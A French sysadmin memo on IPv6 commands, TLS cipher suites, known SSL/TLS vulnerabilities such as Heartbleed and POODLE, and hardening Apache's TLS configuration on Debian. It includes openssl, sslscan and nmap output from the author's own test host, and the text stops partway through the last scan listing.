Mémo IPv6

Pour voir tous les hôtes actifs sur le lien :

$ ping6 -I eth0 ff02::1

Pour voir le routeur :

ping6 -I eth0 ff05::2

Pour voir l’adresse de bouclage :

$ ping6 ::1

Voir les interfaces :

$ ip -6 addr show

Configurer manuellement une adresse IPv6 :

$ sudo ifconfig eth0 inet6 add 2001:ffff:0:f101::1/64
$ sudo ip -6 add 2001:ffff:0:f101::1/64 dev eth0

Configurer statiquement dans /etc/network/interfaces :

iface eth0 inet6 static
    address 2001:ffff:0:f101::1
    netmask 64

Monter une interface :

$ sudo ip link set dev eth0 up

Afficher les routes :

$ sudo ip -6 route show
$ sudo route -A inet6
  • la ligne ::/0 désigne la route par défaut.
  • la ligne ff00::/8 désigne la route pour le trafic multicast.
  • la ligne fe80::/64 désigne la route de l’interface de portée lien-local

Voici 3 façons d’obtenir la résolution DNS en IPv6 :

$ nslookup -query=AAAA www.google.fr
$ host -t AAAA www.google.fr
$ dig www.google.fr AAAA

.. et 2 façons d’afficher les chemins :

$ traceroute6 www.google.fr
$ mtr -6 www.google.fr

Afficher le voisinage :

$ ip -6 neigh show

Afficher le voisinage :

$ ip -6 neigh help
Usage: ip neigh { add | del | change | replace } { ADDR [ lladdr LLADDR ]
          [ nud { permanent | noarp | stale | reachable } ]
          | proxy ADDR } [ dev DEV ]
       ip neigh {show|flush} [ to PREFIX ] [ dev DEV ] [ nud STATE ]

Filtre Wireshark :

ipv6.addr eq 2001:67c:1360:8c01::18

Les suites cryptographiques

Une suite cryptographique (cipher suite) est une combinaison d’algorithmes permettant l’authentification, le chiffrement et l’intégrité des données ainsi que l’échange de la clé afin d’établir un paramétrage de sécurité pour une connexion réseau utilisant le protocole de communication Transport Layer Security (TLS).

Elle est représentée généralement comme ceci : TLS_[Au_]Kx_WITH_En_Mac (exemples : TLS_RSA_WITH_RC4_128_MD5 et TLS_DHE_RSA_WITH_AES_128_CBC_SHA)

Voici à quoi servent les mécanismes de la réprésentation ci-dessus :

  • Kx : établir les éléments secrets de session
  • Au : authentifier les parties
  • En : chiffrer les données applicatives
  • Mac : protéger les données applicatives en intégrité.

Voci le détail des 2 exemples de suites cryptographiques :

TLS_RSA_WITH_RC4_128_MD5

RSA
décrit ici à la fois la méthode d’authentification du serveur et la méthode d’établissement des secrets de session : une fois que le client aura reçu le certificat du serveur, il tirera un secret de session au hasard, le pre master secret, et le chiffrera en utilisant la clé publique contenue dans le certificat. Cet aléa chiffré sera ensuite envoyé dans le message ClientKeyExchange, que seul le serveur pourra déchiffrer. Il s’agit donc d’une authentification implicite du serveur ;

RC4_128
indique que l’algorithme de chiffrement par flot RC4 va être utilisé avec une clé de 128 bits pour déchiffrer le canal de communication ;

MD5
concerne enfin la protection en intégrité du canal de communication : HMAC MD5 sera employé

TLS_DHE_RSA_WITH_AES_128_CBC_SHA

DHE
décrit la méthode utilisée pour que les deux parties se mettent d’accord sur la clé de session (Key Agreement). DHE signifie Diffie-Hellman Éphémère ;

Associée à DHE, la partie RSA indique que les paramètres Diffie-Hellman du serveur seront signés avec la clé privée RSA associée au certificat envoyé au client. Ce mécanisme permet l’authentication du serveur (en réalité, la signature couvre non seulement ces paramètres, mais également les aléas fournis lors des messages ClientHello et ServerHello, garantissant le caractère non rejouable de la négociation) ;

AES_128_CBC
concerne la protection en confidentialité des données échangées : l’algorithme de chiffrement par bloc AES avec une clé de 128 bits sera utilisé en mode CBC (Cipher-Block-Chaining) ;

SHA
enfin indique que HMAC SHA1 sera utilisé pour la protection en intégrité

Quelques acronymes

  • DHE :Diffie-Hellman Ephémère
  • ECDHE :Diffie-Hellman Ephémère réalisé sur une courbe elliptique (de façon générale on trouve souvent « EC » pour l’utilisation des courbes elliptiques)
  • ADH :Diffie-Hellman anonyme
  • PKCS :Public Key Cryptographic Standards (ou standards de cryptographie à clé publique), il s’agit d’un ensemble de spécifications conçues par les laboratoires RSA

Quelques commandes intéressantes

La commande suivante permet d’afficher toutes les suites gérées par OpenSSL sur votre poste :

$ openssl ciphers -v
ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
SRP-DSS-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(256)  Mac=SHA1
SRP-RSA-AES-256-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(256)  Mac=SHA1
SRP-AES-256-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
DHE-DSS-AES256-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA256
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
ECDH-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
ECDH-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AESGCM(256) Mac=AEAD
ECDH-RSA-AES256-SHA384  TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA384
ECDH-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA384
ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1
AES256-GCM-SHA384       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(256) Mac=AEAD
AES256-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA256
AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
CAMELLIA256-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(256) Mac=SHA1
PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
ECDHE-RSA-DES-CBC3-SHA  SSLv3 Kx=ECDH     Au=RSA  Enc=3DES(168) Mac=SHA1
ECDHE-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH     Au=ECDSA Enc=3DES(168) Mac=SHA1
SRP-DSS-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=3DES(168) Mac=SHA1
SRP-RSA-3DES-EDE-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=3DES(168) Mac=SHA1
SRP-3DES-EDE-CBC-SHA    SSLv3 Kx=SRP      Au=SRP  Enc=3DES(168) Mac=SHA1
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
ECDH-RSA-DES-CBC3-SHA   SSLv3 Kx=ECDH/RSA Au=ECDH Enc=3DES(168) Mac=SHA1
ECDH-ECDSA-DES-CBC3-SHA SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=3DES(168) Mac=SHA1
DES-CBC3-SHA            SSLv3 Kx=RSA      Au=RSA  Enc=3DES(168) Mac=SHA1
PSK-3DES-EDE-CBC-SHA    SSLv3 Kx=PSK      Au=PSK  Enc=3DES(168) Mac=SHA1
ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256
ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA256
ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
SRP-DSS-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=DSS  Enc=AES(128)  Mac=SHA1
SRP-RSA-AES-128-CBC-SHA SSLv3 Kx=SRP      Au=RSA  Enc=AES(128)  Mac=SHA1
SRP-AES-128-CBC-SHA     SSLv3 Kx=SRP      Au=SRP  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD
DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
DHE-DSS-AES128-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA256
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
ECDH-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AESGCM(128) Mac=AEAD
ECDH-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AESGCM(128) Mac=AEAD
ECDH-RSA-AES128-SHA256  TLSv1.2 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA256
ECDH-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA256
ECDH-RSA-AES128-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA1
ECDH-ECDSA-AES128-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA1
AES128-GCM-SHA256       TLSv1.2 Kx=RSA      Au=RSA  Enc=AESGCM(128) Mac=AEAD
AES128-SHA256           TLSv1.2 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA256
AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
SEED-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=SEED(128) Mac=SHA1
CAMELLIA128-SHA         SSLv3 Kx=RSA      Au=RSA  Enc=Camellia(128) Mac=SHA1
PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
ECDHE-RSA-RC4-SHA       SSLv3 Kx=ECDH     Au=RSA  Enc=RC4(128)  Mac=SHA1
ECDHE-ECDSA-RC4-SHA     SSLv3 Kx=ECDH     Au=ECDSA Enc=RC4(128)  Mac=SHA1
ECDH-RSA-RC4-SHA        SSLv3 Kx=ECDH/RSA Au=ECDH Enc=RC4(128)  Mac=SHA1
ECDH-ECDSA-RC4-SHA      SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=RC4(128)  Mac=SHA1
RC4-SHA                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=SHA1
RC4-MD5                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=MD5 
PSK-RC4-SHA             SSLv3 Kx=PSK      Au=PSK  Enc=RC4(128)  Mac=SHA1
EDH-RSA-DES-CBC-SHA     SSLv3 Kx=DH       Au=RSA  Enc=DES(56)   Mac=SHA1
EDH-DSS-DES-CBC-SHA     SSLv3 Kx=DH       Au=DSS  Enc=DES(56)   Mac=SHA1
DES-CBC-SHA             SSLv3 Kx=RSA

La commande sslscan (sudo apt-get install sslscan) permet de lister les suites (SSLv3 et TLSv1) proposées par un serveur :

$ sslscan machine-squeeze.localdomain | grep Accep
    Accepted  SSLv3  256 bits  DHE-RSA-AES256-SHA
    Accepted  SSLv3  256 bits  AES256-SHA
    Accepted  SSLv3  168 bits  EDH-RSA-DES-CBC3-SHA
    Accepted  SSLv3  168 bits  DES-CBC3-SHA
    Accepted  SSLv3  128 bits  DHE-RSA-AES128-SHA
    Accepted  SSLv3  128 bits  AES128-SHA
    Accepted  SSLv3  128 bits  RC4-SHA
    Accepted  SSLv3  128 bits  RC4-MD5
    Accepted  TLSv1  256 bits  DHE-RSA-AES256-SHA
    Accepted  TLSv1  256 bits  AES256-SHA
    Accepted  TLSv1  168 bits  EDH-RSA-DES-CBC3-SHA
    Accepted  TLSv1  168 bits  DES-CBC3-SHA
    Accepted  TLSv1  128 bits  DHE-RSA-AES128-SHA
    Accepted  TLSv1  128 bits  AES128-SHA
    Accepted  TLSv1  128 bits  RC4-SHA
    Accepted  TLSv1  128 bits  RC4-MD5


Ne permettez plus l’utilisation de SSLv3! Evitez TLSv1 pour imposer uniquement TLSv1.1 et TLSv1.2.

Notes

Dans la configuration d’Apache, il est conseillé de fixer SSLHonorCipherOrder à On afin d’imposer le chiffrement commun le plus fort (suivant ce qu’on lui a indiqué dans la variable SSLCipherSuite)

Source : http://www.ssi.gouv.fr/uploads/IMG/pdf/SSL_TLS_etat_des_lieux_et_recommandations.pdf

Vulnérabilités SSL/TLS

Voici quelques vulnérabilités concernant SSL/TLS : article à compléter!

Avril 2014 : HEARTBLEED

Versions vulnérables : Les versions d’OpenSSL de 1.0.1 à 1.0.1f
Impacts : Accès à la mémoire et extraction possible d’information sensible (notamment la clé privée du serveur). La vulnérabilité vient plus précisément de l’implémentation de TLS et DTLS, qui ne gère pas correctement les paquets de l’extension « Heartbeat ».
Solution : faire les mises à jour de sécurité d’openssl puis changer les certificats.

Octobre 2014 : POODLE

Protocole vulnérable : SSLv3

La vulnérabilité s’appuie sur le fait que le mécanisme cryptographique CBC (Cipher Block Chaining) de SSL v3 est trop faible et peut être cassé. Il est possible de réaliser un man-in-the middle et de déchiffrer une partie du trafic sécurisé.

Eviter SSLv3!

Mars 2015 FREAK

Famille d’attaques : State Machine Attacks (elle repose sur la façon dont les implémentations de TLS gèrent les algorithmes de chiffrement)

Un attaquant peut modifier les messages entre le client et le serveur en forçant un chiffrement (initialement destiné à l’export) ne garantissant pas une sécurité suffisante. En fait, elle permet de forcer l’utilisation d’un chiffrement faible sur 512 bits!

Mai 2015 LOGJAM

La vulnérabilité est assez proche de Freak : elle permet de forcer l’implémentation à basculer sur un protocole de chiffrement plus faible et permet notamment la mise en place d’attaque « man in the middle » visant à intercepter les messages échangés entre deux interlocuteurs.

Logjam affecte les implémentations de l’algorithme d’échange de clef de cryptographie Diffie Hellman (notamment les implémentations supportant la suite cryptographique DHE_EXPORT).

Site web : https://weakdh.org/
Solutions : https://weakdh.org/sysadmin.html

Configurer le chiffrement TLS d’Apache sous Debian

Avec les récentes failles (POODLE, FREAK..) et les recommandations de l’ANSSI, il est important de n’autoriser, dans la mesure du possible, uniquement que TLSv1.1 et TLSv1.2.

Voici un document très intéressant présentant un état des lieux des récommandations : http://www.ssi.gouv.fr/uploads/IMG/pdf/SSL_TLS_etat_des_lieux_et_recommandations.pdf

Comment configurer (au mieux?) Apache pour Debian Squeeze LTS, Debian Wheezy et Debian Jessie?

L’installation d’Apache est la même pour toutes ces distributions.. elle se fait classiquement par les packages de la distribution :

apt-get install apache2
a2enmod ssl
a2enmod headers
a2ensite default-ssl
service apache2 restart

Les configurations TLS des vhosts (typiquement dans le fichier /etc/apache2/site-available/default-ssl si on reste dans la configuration de base avec un seul vhost) sont basées sur cet outil : https://mozilla.github.io/server-side-tls/ssl-config-generator/

En fait, pour Squeeze LTS (apache 2.2.16), on ne pourra malheureusement proposer ni TLSv1.2 ni TLSv1.1!!! on devra se contenter uniquement TLSv1.. Le mieux est de migrer rapidement vers Jessie pour avoir Apache 2.4 (à moins de compiler à partir des sources ou d’utiliser les backports). Sur une Wheezy (apache 2.2.22), on peut imposer TLSv1.1 et ou TLSv1.2!

Avant de changer la configuration d’un frontal, vérifiez que toutes les applications sont « compatibles ». Si vous avez un serveur CAS.. saura t’il faire du TLSv1.1 ou TLSv1.2?

Squeeze LTS

apache2 (2.2.16-6+squeeze14)
libssl0.9.8 (0.9.8o-4squeeze21)
openssl (0.9.8o-4squeeze21)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Wheezy

apache2 (2.2.22-13+deb7u4)
libssl1.0.0 (1.0.1e-2+deb7u17) [security]
openssl (1.0.1e-2+deb7u17) [security]

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate
    SSLCertificateChainFile /path/to/intermediate_certificate
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv2 -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on



    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

Attention ici (contrairement aux possibilités indiquées par l’outils) on a pu rajouter -TLSv1 pour retirer l’utilisation de TLSv1!!

Jessie

apache2 (2.4.10-10)
libssl1.0.0 (1.0.1k-3+deb8u1) [security]
openssl (1.0.1k-3+deb8u1) [security]

Configuration dite « modern » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # modern configuration, tweak to your needs
    SSLProtocol             all -SSLv3 -TLSv1
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

Configuration dite « intermediate » :


    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key
    SSLCACertificateFile    /path/to/all_ca_certs

    # intermediate configuration, tweak to your needs
    SSLProtocol             all -SSLv3
    SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
    SSLHonorCipherOrder     on
    SSLCompression          off

    # OCSP Stapling, only in httpd 2.3.3 and later
    SSLUseStapling          on
    SSLStaplingResponderTimeout 5
    SSLStaplingReturnResponderErrors off    

# HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...

SSLStaplingCache        shmcb:/var/run/ocsp(128000)

On peut tester les protocoles et algorithmes de chiffrements avec nmap!

Pour une installation d’Apache 2 sur Jessie ça donne ça :

nmap --script ssl-enum-ciphers -p 443 jessie
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| SSLv3: No supported ciphers found
| TLSv1.0:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
| TLSv1.2:
| ciphers:
| TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA - strong
| TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
| TLS_RSA_WITH_AES_256_CBC_SHA - strong
| TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
| TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| compressors:
| NULL
|_ least strength: strong
MAC Address: 08:00:27:9C:95:DE (Cadmus Computer Systems)

Si on utilise la configuration (modern) ci-dessus :

nmap --script ssl-enum-ciphers -p 443 jessie
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-29 19:10 CEST
Nmap scan report for jessie (192.168.0.33)
Host is up (0.00028s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-enum-ciphers:
| TLSv1.1:
| ciphers:
| TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
